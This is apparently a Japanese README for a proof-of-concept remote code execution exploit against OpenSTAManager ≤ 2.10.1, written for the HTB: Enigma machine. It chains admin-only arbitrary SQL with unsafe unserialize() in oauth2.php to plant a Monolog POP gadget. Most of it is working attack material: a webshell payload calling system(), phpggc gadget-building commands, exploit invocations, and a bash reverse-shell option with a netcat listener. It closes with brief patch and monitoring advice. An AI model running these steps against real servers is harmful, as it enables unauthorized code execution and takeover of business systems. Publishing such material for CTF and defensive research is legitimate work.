OpenSTAManager ≤ 2.10.1 におけるリモートコード実行のPoC。
oauth2.php は、攻撃者が制御する state GETパラメータによって zz_oauth2 行を検索し、その access_token カラムに対して allowed_classes の制限なしで unserialize() を呼び出します(Models\OAuth2::checkTokens() / getAccessToken())。これはPHPオブジェクトインジェクションのシンクです。
それ単体では悪用できません — オブジェクトを配置できないためです。Aggiornamenti モジュール(op=risolvi-conflitti-database、2.9.x系ではクエリ許可リストなし — )の機能と連鎖させることで、認証済み管理者がシリアライズされたPOPガジェットを に し、その後 をリクエストして起動させることができます。
GHSA-2fr7-cc4f-wh98zz_oauth2.access_tokenINSERToauth2.phpauth (admin)
└─ POST /actions.php op=risolvi-conflitti-database ← 任意SQL
└─ INSERT gadget blob into zz_oauth2.access_token (keyed by `state`)
└─ GET /oauth2.php?state=<state>&code=x
└─ Models\OAuth2::configure() → needsConfiguration()
→ getAccessToken() → checkTokens() → unserialize($access_token)
└─ POP gadget __destruct() → ファイル書き込み
└─ GET /<webshell>.php?c=<cmd> ← Webユーザーとしてコード実行
⚠️ 認可されたテストのみ。 教育、CTFプレイ(HTB: Enigma に対して作成)、および防御的研究のために公開されています。所有していない、または明示的な書面によるテスト許可を得ていないシステムに対して実行することは違法です。保証はありません。LICENSE を参照してください。
| 製品 | OpenSTAManager(devcode-it/openstamanager) |
| オブジェクトインジェクションのシンク | ≤ 2.10.1 — 2.10.2 で修正(unserialize($v, ['allowed_classes' => [AccessToken::class]])) |
| 任意SQLチェーン | 2.9.x系(risolvi-conflitti-database は2.10.xの後半で許可リストが追加された) |
| 検証済み環境 | 2.9.8、PHP 8.3、MySQL 8.0 |
2.9.x系には monolog/monolog ^3.0 が同梱されているため、このPoCはMonolog 3.x ファイル書き込みガジェット(phpggc Monolog/FW1)を使用してウェブシェルを配置します。これにより、system()/exec() が有効であることや、特定のLaravelコンポーネントが存在することに依存することを意図的に回避しています。
requests — pip install -r requirements.txtPATH 上の phpggc + php CLI
(ガジェットの構築にのみ使用。または、事前に構築したblobを --payload-file で指定)git clone https://github.com/ambionics/phpggc
export PATH="$PWD/phpggc:$PATH"
pip install -r requirements.txt
./exploit.py -u http://TARGET -U admin -P 'password' [action]
actions:
--cmd 'id' コマンドを1回実行し、出力を表示
--shell ダムな対話型プロンプト
--lhost 10.10.14.5 --lport 4444 bashリバースシェル
--drop-only ウェブシェルのみ配置し、そのURLを表示
便利なフラグ:
--module-id 6 AggiornamentiモジュールID(デフォルト6)
--phpggc ./phpggc/phpggc phpggcへのパス
--payload-file blob.bin phpggcをスキップし、事前生成したMonolog/FW1 blobを使用
--webshell-name name.php Webルートに配置するファイル名
--proxy http://127.0.0.1:8080
--keep 注入した zz_oauth2 行を残す
# RCEの証明
./exploit.py -u http://support.example.htb -U admin -P 'hunter2' --cmd 'id; uname -a'
# 対話型
./exploit.py -u http://support.example.htb -U admin -P 'hunter2' --shell
# リバースシェル(先に `nc -lvnp 4444` を実行)
./exploit.py -u http://support.example.htb -U admin -P 'hunter2' --lhost 10.10.14.5 --lport 4444
ガジェットを手動で事前生成する場合(スクリプトが行う処理と同等):
printf '%s' '<?php echo "|OSMSH|"; @system($_GET["c"]); ?>' > ws.php
phpggc -a -f Monolog/FW1 osm_shell.php ws.php > blob.bin
./exploit.py -u http://TARGET -U admin -P pass \
--payload-file blob.bin --webshell-name osm_shell.php --cmd id
-a = ASCIIセーフな S: 文字列エンコーディング(TEXT カラムをバイト単位でそのまま通過);
-f = fast-destruct(オブジェクトは unserialize() 直後に発火し、OpenSTAManager が ->hasExpired() を呼び出して例外を投げる前)
POST /index.php op=login&username=&password=(成功 = index.php から302リダイレクト)POST /actions.php
op=risolvi-conflitti-database&id_module=6&queries=<json-array>。各要素は
$dbo->query() に渡されます。2.9.x系では許可リストは適用されません。PoCは
CREATE TABLE … / DROP TABLE … のペアを追加して暗黙の COMMIT を強制します
(このエンドポイントは、そうしないと書き込みを未コミットのトランザクションに残します)。
また、ハンドラはMySQLエラーテキストをエコーするため、extractvalue() による読み出しオラクルとして機能します
(コード内の OSM.sql_extract())。zz_oauth2 に既知の state と
access_token = 0x<hex(gadget)> を持つ行を INSERT。class は実際のプロバイダー
Modules\Emails\OAuth2\Google に設定。GET /oauth2.php?state=<state>&code=x。configure() が
needsConfiguration() → getAccessToken() → checkTokens() →
unserialize($this->access_token) を allowed_classes なしで呼び出します。Monolog
ガジェットの __destruct がウェブシェルを書き込みます。レスポンスはHTTP 500 — 想定どおり。GET /<webshell>?c=<cmd> → system()。unserialize($v, ['allowed_classes' => [AccessToken::class]]) になり、
Aggiornamenti SQLランナーは許可リスト化されます。modules/aggiornamenti/ を信頼できる管理者のみに制限。zz_oauth2 への書き込みと
oauth2.php へのリクエストを監視。HTB: Enigma のルート取得中の調査およびPoC。